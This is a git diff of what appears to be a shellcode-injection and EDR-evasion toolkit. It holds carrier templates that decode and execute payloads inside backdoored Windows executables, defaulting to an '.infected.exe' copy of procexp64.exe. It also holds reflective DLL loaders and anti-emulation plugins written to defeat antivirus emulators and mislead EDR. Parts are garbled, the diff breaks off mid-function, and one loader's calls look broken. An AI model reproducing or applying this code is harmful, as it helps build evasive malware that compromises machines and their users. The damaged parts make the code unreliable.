diff --git a/app/templates/project.html b/app/templates/project.html index e4d57dd..7c29071 100644 --- a/app/templates/project.html +++ b/app/templates/project.html @@ -7,24 +7,19 @@ {% include 'navigation.html' %}
- -

{{project_name}}

-
- -
-
-
- -
-
- -
-
+
+ +
+ +
+ +
+ +
{% if is_built %} -
@@ -37,40 +32,62 @@ {% endif %} -
{% endif %}
- -
+
- - - - - - - + + + + + +
+ + +
+ +
+
+ + +
+ +
+ +
+
+ + {% if exports != [] %} {% endif %} - EXE INFO
- {% if is_64 %} - x64: {{ is_64 }} - {% else %} - x64: {{ is_64 }} - {% endif %} - / Dotnet: {{ is_dotnet}}
- .text: {{ code_sect_size}}
- .rdata: {{ data_sect_size}} - (max: {{ data_sect_largest_gap_size}})
- {% if not has_rodata_section %} - No .rdata section
- {% endif %} + EXE Info: +
    +
  • + {% if is_64 %} + x64: {{ is_64 }} + {% else %} + x64: {{ is_64 }} + {% endif %} +
  • + +
  • + Dotnet: {{ is_dotnet}} +
  • + +
  • + .text: {{ code_sect_size}} +
  • + +
  • + .rdata: {{ data_sect_size}} + (max: {{ data_sect_largest_gap_size}}) +
  • + + {% if not has_rodata_section %} +
  • + No .rdata section
    +
  • + {% endif %} +
{% if unresolved_dlls|length > 0 %}
@@ -108,37 +141,59 @@ {% endfor %} {% endif %} +
-
- +
+
+ +
+ +
+
- +
+ +
+ +
+
- -
+
+ +
+ +
+
- -
@@ -146,24 +201,115 @@ Add missing IAT entries
+
- + +
+
+ +
+ +
+
+ +
+ +
+ +
+
+ + {% if project.settings.plugin_guardrail != "none" %} +
+ +
+ +
+
+ {% endif %} + +
+ +
+ +
+
+ +
+ +
+ +
+
+ +
+ +
+ +
+
-
- {{ project_dir }}
-
-
+
diff --git a/app/views_project.py b/app/views_project.py index 5cc6989..8aa3fdb 100644 --- a/app/views_project.py +++ b/app/views_project.py @@ -88,7 +88,7 @@ def project(name): has_rodata_section = superpe.has_rodata_section() if has_rodata_section: - superpe.get_rdata_relocmanager().find_largest_gap() + superpe.get_rdata_rangemanager().find_largest_gap() unresolved_dlls = pe.dllresolver.unresolved_dlls(superpe) project_dir = os.path.dirname(os.getcwd() + "\\" + project.settings.main_dir) @@ -98,10 +98,16 @@ def project(name): shellcodes = list_files_and_sizes(PATH_SHELLCODES) carrier_names = get_template_names() - decoderstyles = [(color.name, color.value) for color in DecoderStyle] carrier_invoke_styles = [(color.name, color.value) for color in CarrierInvokeStyle] payload_locations = [(color.name, color.value) for color in PayloadLocation] + guardrail_styles = list_files(PATH_GUARDRAILS) + antiemulation_styles = list_files(PATH_ANTIEMULATION) + decoy_styles = list_files(PATH_DECOY) + virtualprotect_styles = list_files(PATH_VIRTUALPROTECT) + decoder_styles = list_files(PATH_DECODER) + + return render_template('project.html', project_name = name, project=project, @@ -111,7 +117,7 @@ def project(name): exes=exes, shellcodes=shellcodes, carrier_names=carrier_names, - decoderstyles=decoderstyles, + decoder_styles=decoder_styles, carrier_invoke_styles=carrier_invoke_styles, payload_locations=payload_locations, exports=exports, @@ -128,6 +134,11 @@ def project(name): has_remote=has_remote, fix_missing_iat=project.settings.fix_missing_iat, + + guardrailstyles = guardrail_styles, + antiemulationstyles = antiemulation_styles, + decoystyles = decoy_styles, + virtualprotectstyles = virtualprotect_styles ) @@ -145,6 +156,16 @@ def list_files_and_sizes(directory, prepend=""): return files_and_sizes +def list_files(directory, prepend="") -> List[str]: + files = [] + for filename in os.listdir(directory): + filepath = os.path.join(directory, filename) + if os.path.isfile(filepath): + filename = filename.replace(".c", "") + files.append(filename) + return files + + @views_project.route("/project_add", methods=['POST', 'GET']) def add_project(): if request.method == 'POST': @@ -155,6 +176,18 @@ def add_project(): # new project? if storage.get_project(project_name) == None: + # Default values for web create + settings.init_payload_injectable( + "messagebox.bin", + "data/binary/exes/procexp64.exe", + "" + ) + settings.decoder_style = "xor_2" + settings.carrier_name = "alloc_rw_rx" + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr + settings.payload_location = PayloadLocation.CODE + settings.fix_missing_iat = True + # add new project project = WebProject(project_name, settings) project.comment = comment @@ -162,32 +195,24 @@ def add_project(): # update project else: - settings.payload_path = PATH_SHELLCODES + request.form['shellcode'] - if request.form['shellcode'] == "createfile.bin": - settings.verify = True - settings.try_start_final_infected_exe = False - else: - settings.cleanup_files_on_exit = False - - if 'dllfunc' in request.form: - settings.dllfunc = request.form['dllfunc'] - - settings.inject_exe_in = request.form['exe'] - settings.inject_exe_out = request.form['exe'].replace(".exe", ".infected.exe") + settings.init_payload_injectable( + request.form['shellcode'], + request.form['exe'], + request.form.get('dllfunc', "") + ) settings.fix_missing_iat = True if request.form.get('fix_missing_iat') != None else False - - carrier_name = request.form['carrier_name'] - settings.carrier_name = carrier_name - + settings.carrier_name = request.form['carrier_name'] + settings.plugin_antiemulation = request.form['antiemulation'] + settings.plugin_decoy = request.form['decoy'] + settings.plugin_guardrail = request.form['guardrail'] carrier_invoke_style = request.form['carrier_invoke_style'] settings.carrier_invoke_style = CarrierInvokeStyle[carrier_invoke_style] - - decoder_style = request.form['decoder_style'] - settings.decoder_style = DecoderStyle[decoder_style] - + settings.decoder_style = request.form['decoder_style'] payload_location = request.form['payload_location'] settings.payload_location = PayloadLocation[payload_location] + settings.plugin_guardrail_data = request.form.get('guardrail_data', '') + settings.plugin_virtualprotect = request.form.get('virtualprotect') # overwrite project project = storage.get_project(project_name) diff --git a/data/binary/shellcodes/createfile.dll b/data/binary/shellcodes/createfile.dll new file mode 100644 index 0000000..fb04556 Binary files /dev/null and b/data/binary/shellcodes/createfile.dll differ diff --git a/data/binary/shellcodes/messagebox.dll b/data/binary/shellcodes/messagebox.dll new file mode 100644 index 0000000..c451717 Binary files /dev/null and b/data/binary/shellcodes/messagebox.dll differ diff --git a/data/source/antiemulation/none.c b/data/source/antiemulation/none.c new file mode 100644 index 0000000..42e9393 --- /dev/null +++ b/data/source/antiemulation/none.c @@ -0,0 +1,4 @@ + +void antiemulation() { + // None +} \ No newline at end of file diff --git a/data/source/antiemulation/sirallocalot.c b/data/source/antiemulation/sirallocalot.c new file mode 100644 index 0000000..dbd9449 --- /dev/null +++ b/data/source/antiemulation/sirallocalot.c @@ -0,0 +1,54 @@ + +#define ALLOC_NUM 256 + + +/* This will allocate ALLOC_NUM RW memory regions, + set them to RX, and free them + + The idea is that the AV emulator will probably give up, either because + of used memory is above maximum, or amount of instructions, or + number of API calls, or time. + + It hopefully also makes the EDR think this program is doing some + kind of interpreter or JIT compilation, and not a malicious payload. +*/ + +void antiemulation() { + void* allocs[ALLOC_NUM]; + DWORD result; + + for(int i=0; i<4; i++) { + + for(int n=0; n> 24); + return kernelTime; +} + + +int sleep_ms(DWORD sleeptime) { + DWORD start = get_time_raw(); + while (get_time_raw() - start < sleeptime) {} +} + + +void antiemulation() { + sleep_ms(3000); +} \ No newline at end of file diff --git a/data/source/carrier/alloc_rw_rwx/template.c b/data/source/carrier/alloc_rw_rwx/template.c index 7ee8d8c..6a4ff0f 100644 --- a/data/source/carrier/alloc_rw_rwx/template.c +++ b/data/source/carrier/alloc_rw_rwx/template.c @@ -8,29 +8,35 @@ char *supermega_payload; #define p_RX 0x20 #define p_RWX 0x40 -/* iat_reuse - Standard IAT reuse shellcode +/* VirtualAlloc -> rw -> rwx + * create new memory region for the payload - * will set it to RWX (safe to run shellcodes, opsec-unsafe) + * will set it to RWX (opsec-unsafe, allows in-memory decryption with sgn) */ + +{{plugin_antiemulation}} + +{{plugin_decoy}} + +{{plugin_executionguardrail}} + + int main() { - // Execution Guardrail: Env Check - wchar_t envVarName[] = L"USERPROFILE"; - wchar_t tocheck[] = L"C:\\Users\\"; - WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! - DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024); - if (result == 0) { - return 6; - } - if (mystrcmp(buffer, tocheck) != 0) { - return 6; + DWORD result; + + // Call: Execution Guardrail + if (executionguardrail() != 0) { + return 1; } - // Decoy - //WinExec("C:\\windows\\system32\\notepad.exe", 1); + // Call: Anti Emulation plugin + antiemulation(); + + // Call: Decoy plugin + decoy(); // Allocate 1 // char *dest = ... @@ -54,13 +60,3 @@ int main() return 0; } -int mystrcmp(wchar_t* str1, wchar_t* str2) { - int i = 0; - while (str1[i] != L'\0' && str2[i] != L'\0') { - if (str1[i] != str2[i]) { - return 1; - } - i++; - } - return 0; -} diff --git a/data/source/carrier/alloc_rw_rx/template.c b/data/source/carrier/alloc_rw_rx/template.c index 896f6f8..5f328eb 100644 --- a/data/source/carrier/alloc_rw_rx/template.c +++ b/data/source/carrier/alloc_rw_rx/template.c @@ -8,29 +8,35 @@ char *supermega_payload; #define p_RX 0x20 #define p_RWX 0x40 -/* iat_reuse_rx - Standard IAT reuse shellcode +{{plugin_antiemulation}} + +{{plugin_decoy}} + +{{plugin_executionguardrail}} + +{{plugin_virtualprotect}} + +/* VirtualAlloc -> rw -> rx + * create new memory region for the payload * will set it to RX (may break some shellcodes, opsec-safe) */ int main() { - // Execution Guardrail: Env Check - wchar_t envVarName[] = L"USERPROFILE"; - wchar_t tocheck[] = L"C:\\Users\\"; - WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! - DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024); - if (result == 0) { - return 6; - } - if (mystrcmp(buffer, tocheck) != 0) { - return 6; + DWORD result; + + // Call: Execution Guardrail + if (executionguardrail() != 0) { + return 1; } - // Decoy - //WinExec("C:\\windows\\system32\\notepad.exe", 1); + // Call: Anti Emulation plugin + antiemulation(); + + // Call: Decoy plugin + decoy(); // Allocate 1 // char *dest = ... @@ -44,7 +50,7 @@ int main() // to: dest[] {{ plugin_decoder }} - if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) { + if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) { return 7; } @@ -54,13 +60,3 @@ int main() return 0; } -int mystrcmp(wchar_t* str1, wchar_t* str2) { - int i = 0; - while (str1[i] != L'\0' && str2[i] != L'\0') { - if (str1[i] != str2[i]) { - return 1; - } - i++; - } - return 0; -} diff --git a/data/source/carrier/change_rw_rx/template.c b/data/source/carrier/change_rw_rx/template.c new file mode 100644 index 0000000..ce69c29 --- /dev/null +++ b/data/source/carrier/change_rw_rx/template.c @@ -0,0 +1,56 @@ +#include + +#include + +char *supermega_payload; + +#define p_RW 0x04 +#define p_RX 0x20 +#define p_RWX 0x40 + +/* change payload memory regions permissions + will reuse IMAGE locations + + depending on payload injection: + * .text -> rw -> rx + * .rdata -> rw -> rx +*/ + +{{plugin_antiemulation}} + +{{plugin_decoy}} + +{{plugin_executionguardrail}} + + +int main() +{ + DWORD result; + char *dest = supermega_payload; + + // Call: Execution Guardrail + if (executionguardrail() != 0) { + return 1; + } + + // Call: Anti Emulation plugin + antiemulation(); + + // Call: Decoy plugin + decoy(); + + if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) { + return 16; + } + +{{ plugin_decoder }} + + if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) { + return 16; + } + + // Execute *dest + (*(void(*)())(dest))(); + + return 0; +} diff --git a/data/source/carrier/change_rwx_rx/template.c b/data/source/carrier/change_rwx_rx/template.c deleted file mode 100644 index 5251a73..0000000 --- a/data/source/carrier/change_rwx_rx/template.c +++ /dev/null @@ -1,43 +0,0 @@ -#include - -#include - -char *supermega_payload; - -#define p_RW 0x04 -#define p_RX 0x20 -#define p_RWX 0x40 - -/* iat_reuse_rwx_rx - - IAT reuse shellcode - * reuse payload location (both in .rdata and .text) - * does (rw/rx) -> rwx -> rx -*/ - -int main() -{ - DWORD result; - char *dest = supermega_payload; - - // Note: RWX if carrier and payload are on the same page (or we cant exec copy..) - // can do only RW otherwise? - for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) { - if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) { - return 16; - } - } - -{{ plugin_decoder }} - - for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) { - if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) { - return 16; - } - } - - // Execute *dest - (*(void(*)())(dest))(); - - return 0; -} diff --git a/data/source/carrier/dll_loader_alloc/template.c b/data/source/carrier/dll_loader_alloc/template.c new file mode 100644 index 0000000..055c371 --- /dev/null +++ b/data/source/carrier/dll_loader_alloc/template.c @@ -0,0 +1,186 @@ +#include +#include + + +char *supermega_payload; + +#define p_RW 0x04 +#define p_RX 0x20 +#define p_RWX 0x40 + +/* DLL loader + + This code will load a DLL (not a shellcode!) + into new memory region, + resolve its imports, apply relocations, and execute it. + + Loader is based on: + https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection + with some patches to make it work here +*/ + + +typedef struct BASE_RELOCATION_BLOCK { + DWORD PageAddress; + DWORD BlockSize; +} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; + +typedef struct BASE_RELOCATION_ENTRY { + USHORT Offset : 12; + USHORT Type : 4; +} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; + +typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID); + + +void mymemcpy(void* dest, const void* src, size_t n) { + char* d = (char*)dest; + const char* s = (const char*)src; + for (size_t i = 0; i < n; ++i) { + d[i] = s[i]; + } +} + + +DWORD_PTR load_dll(LPVOID dllBytes, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { + // get this module's image base address + PVOID imageBase = GetModuleHandleA(NULL); + + // get pointers to in-memory DLL headers + PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew); + SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; + + // allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere + //LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // get delta between this module's image base and the DLL that was read into memory + DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; + + // copy over DLL image headers to the newly allocated space for the DLL + mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders); + + // copy over DLL image sections to the newly allocated space for the DLL + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); + LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); + mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData); + section++; + } + + // perform image base relocations + IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; + DWORD relocationsProcessed = 0; + + while (relocationsProcessed < relocations.Size) + { + PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); + relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); + DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); + PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); + + for (DWORD i = 0; i < relocationsCount; i++) + { + relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); + + if (relocationEntries[i].Type == 0) + { + continue; + } + + DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; + DWORD_PTR addressToPatch = 0; + ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); + addressToPatch += deltaImageBase; + mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); + } + } + + // resolve import address table + PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; + IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); + LPCSTR libraryName; + HMODULE library = NULL; + + while (importDescriptor->Name != NULL) + { + libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; + library = LoadLibraryA(libraryName); + + if (library) + { + PIMAGE_THUNK_DATA thunk = NULL; + thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk); + + while (thunk->u1.AddressOfData != NULL) + { + if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) + { + LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); + thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); + } + else + { + PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData); + DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); + thunk->u1.Function = functionAddress; + } + ++thunk; + } + } + + importDescriptor++; + } + + *ret_dllBase = (DWORD_PTR)dllBase; + *ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint; + + return 0; +} + + +{{plugin_antiemulation}} + +{{plugin_decoy}} + +{{plugin_executionguardrail}} + +{{plugin_virtualprotect}} + +int main() +{ + char* dest = NULL; + + // Call: Execution Guardrail + if (executionguardrail() != 0) { + return 1; + } + + // Call: Anti Emulation plugin + antiemulation(); + + // Call: Decoy plugin + decoy(); + + dest = MyVirtualProtect(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE); + + // FROM supermega_payload[] + // TO dest[] + // Including decryption +{{ plugin_decoder }} + + // Load the DLL at dest + DWORD_PTR dllBase; + DWORD aoep; + load_dll( (void *) dest, &dllBase, &aoep); + DLLEntry DllEntry = (DLLEntry)(dllBase + aoep); + (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); + + return 0; +} + diff --git a/data/source/carrier/dll_loader_change/template.c b/data/source/carrier/dll_loader_change/template.c new file mode 100644 index 0000000..af0fad2 --- /dev/null +++ b/data/source/carrier/dll_loader_change/template.c @@ -0,0 +1,221 @@ +#include +#include + + +char *supermega_payload; + +#define p_RW 0x04 +#define p_RX 0x20 +#define p_RWX 0x40 + +/* DLL loader + + This code will load a DLL (not a shellcode!) into + existing memory region, + resolve its imports, apply relocations, and execute it. + + Loader is based on: + https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection + with some patches to make it work here +*/ + + +typedef struct BASE_RELOCATION_BLOCK { + DWORD PageAddress; + DWORD BlockSize; +} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; + +typedef struct BASE_RELOCATION_ENTRY { + USHORT Offset : 12; + USHORT Type : 4; +} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; + +typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID); + + +void mymemcpy(void* dest, const void* src, size_t n) { + char* d = (char*)dest; + const char* s = (const char*)src; + for (size_t i = 0; i < n; ++i) { + d[i] = s[i]; + } +} + + +DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { + // dllBase is expected to be page-aligned + if ((DWORD_PTR)dllBase & 0xFFF) + { + MessageBoxW(0, L"Not page aligned", L"Not page aligned", MB_OK); + } + + // get pointers to in-memory DLL headers + PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBase; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + dosHeaders->e_lfanew); + SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; + DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; + +/* + // VirtualProtect the sections correctly + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + DWORD protect; + if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) + { + protect = PAGE_EXECUTE_READWRITE; + } + else if (section->Characteristics & IMAGE_SCN_MEM_WRITE) + { + protect = PAGE_READWRITE; + } + else + { + protect = PAGE_READONLY; + } + + DWORD_PTR sectionDestination = section->VirtualAddress + (DWORD_PTR)dllBase; + DWORD_PTR sectionSize = section->SizeOfRawData; + DWORD oldProtect; + VirtualProtect((LPVOID)sectionDestination, sectionSize, protect, &oldProtect); + section++; + } +*/ + + // Overwrite PE header: First 0x1000 bytes +/* + // allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere + //LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // get delta between this module's image base and the DLL that was read into memory + + // copy over DLL image headers to the newly allocated space for the DLL + mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders); + + // copy over DLL image sections to the newly allocated space for the DLL + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); + LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); + mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData); + section++; + } +*/ + + // perform image base relocations + IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; + DWORD relocationsProcessed = 0; + + while (relocationsProcessed < relocations.Size) + { + PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); + relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); + DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); + PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); + + for (DWORD i = 0; i < relocationsCount; i++) + { + relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); + if (relocationEntries[i].Type == 0) + { + continue; + } + + DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; + //DWORD_PTR addressToPatch = 0; + //ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); + DWORD_PTR* addressToPatch = (DWORD_PTR*)((BYTE*)dllBase + relocationRVA); + //DWORD_PTR value = *addressToPatch; + *addressToPatch += deltaImageBase; + //mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); + } + } + + // resolve import address table + PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; + IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); + LPCSTR libraryName; + HMODULE library = NULL; + + while (importDescriptor->Name != NULL) + { + libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; + library = LoadLibraryA(libraryName); + + if (library) + { + PIMAGE_THUNK_DATA thunk = NULL; + thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk); + + while (thunk->u1.AddressOfData != NULL) + { + if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) + { + LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); + thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); + } + else + { + PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData); + DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); + thunk->u1.Function = functionAddress; + } + ++thunk; + } + } + + importDescriptor++; + } + + *ret_dllBase = (DWORD_PTR)dllBase; + *ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint; + + return 0; +} + + +{{plugin_antiemulation}} + +{{plugin_decoy}} + +{{plugin_executionguardrail}} + +{{plugin_virtualprotect}} + +int main() +{ + char* dest = supermega_payload; + DWORD protect, oldProtect; + + // Call: Execution Guardrail + if (executionguardrail() != 0) { + return 1; + } + + // Call: Anti Emulation plugin + antiemulation(); + + // Call: Decoy plugin + decoy(); + + MyVirtualProtect((LPVOID)dest, {{PAYLOAD_LEN}}, PAGE_EXECUTE_READWRITE, &oldProtect); + + // FROM supermega_payload[] + // TO dest[] + // Including decryption + {{ plugin_decoder }} + + // Load the DLL at dest + DWORD_PTR dllBase; + DWORD aoep; + load_dll( (void *) dest, &dllBase, &aoep); + DLLEntry DllEntry = (DLLEntry)(dllBase + aoep); + (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); + + return 0; +} + diff --git a/data/source/carrier/peb_walk/template.c b/data/source/carrier/peb_walk/template.c index 24be0c6..6ccfa4c 100644 --- a/data/source/carrier/peb_walk/template.c +++ b/data/source/carrier/peb_walk/template.c @@ -5,7 +5,9 @@ char *supermega_payload; /* peb_walk - Standard shellcode which will resolve IAT by itself with a peb_walk + Test shellcode which will resolve IAT by itself with a peb walk + no IAT reuse is performed + no data reuse is performed */ int main() diff --git a/data/source/carrier/decoder/plain_1.c b/data/source/decoder/plain_1.c similarity index 100% rename from data/source/carrier/decoder/plain_1.c rename to data/source/decoder/plain_1.c diff --git a/data/source/carrier/decoder/xor_1.c b/data/source/decoder/xor_1.c similarity index 100% rename from data/source/carrier/decoder/xor_1.c rename to data/source/decoder/xor_1.c diff --git a/data/source/carrier/decoder/xor_2.c b/data/source/decoder/xor_2.c similarity index 100% rename from data/source/carrier/decoder/xor_2.c rename to data/source/decoder/xor_2.c diff --git a/data/source/decoy/none.c b/data/source/decoy/none.c new file mode 100644 index 0000000..1e28abf --- /dev/null +++ b/data/source/decoy/none.c @@ -0,0 +1,4 @@ + +void decoy() { + // None +} \ No newline at end of file diff --git a/data/source/decoy/winexec.c b/data/source/decoy/winexec.c new file mode 100644 index 0000000..99904c6 --- /dev/null +++ b/data/source/decoy/winexec.c @@ -0,0 +1,4 @@ + +void decoy() { + WinExec("C:\\windows\\system32\\notepad.exe", 1); +} diff --git a/data/source/guardrails/env.c b/data/source/guardrails/env.c new file mode 100644 index 0000000..251f942 --- /dev/null +++ b/data/source/guardrails/env.c @@ -0,0 +1,29 @@ + + +int mystrcmp(wchar_t* str1, wchar_t* str2) { + int i = 0; + while (str1[i] != L'\0' && str2[i] != L'\0') { + if (str1[i] != str2[i]) { + return 1; + } + i++; + } + return 0; +} + + +int executionguardrail() { + // Execution Guardrail: Env Check + wchar_t envVarName[] = L"USERPROFILE"; + wchar_t tocheck[] = L"{{guardrail_data}}"; + WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! + DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024); + if (result == 0) { + return 6; + } + if (mystrcmp(buffer, tocheck) != 0) { + return 6; + } + return 0; +} + diff --git a/data/source/guardrails/none.c b/data/source/guardrails/none.c new file mode 100644 index 0000000..fcd3621 --- /dev/null +++ b/data/source/guardrails/none.c @@ -0,0 +1,4 @@ +int executionguardrail() { + // None + return 0; // All OK +} \ No newline at end of file diff --git a/data/source/virtualprotect/standard.c b/data/source/virtualprotect/standard.c new file mode 100644 index 0000000..09602ce --- /dev/null +++ b/data/source/virtualprotect/standard.c @@ -0,0 +1,9 @@ + +BOOL MyVirtualProtect( + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flNewProtect, + PDWORD lpflOldprotect +) { + return VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldprotect); +} diff --git a/data/source/virtualprotect/undersized.c b/data/source/virtualprotect/undersized.c new file mode 100644 index 0000000..b50f8bf --- /dev/null +++ b/data/source/virtualprotect/undersized.c @@ -0,0 +1,19 @@ + +// How many bytes we VirtualProtect +#define VP_SIZE 16 + +BOOL MyVirtualProtect( + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flNewProtect, + PDWORD 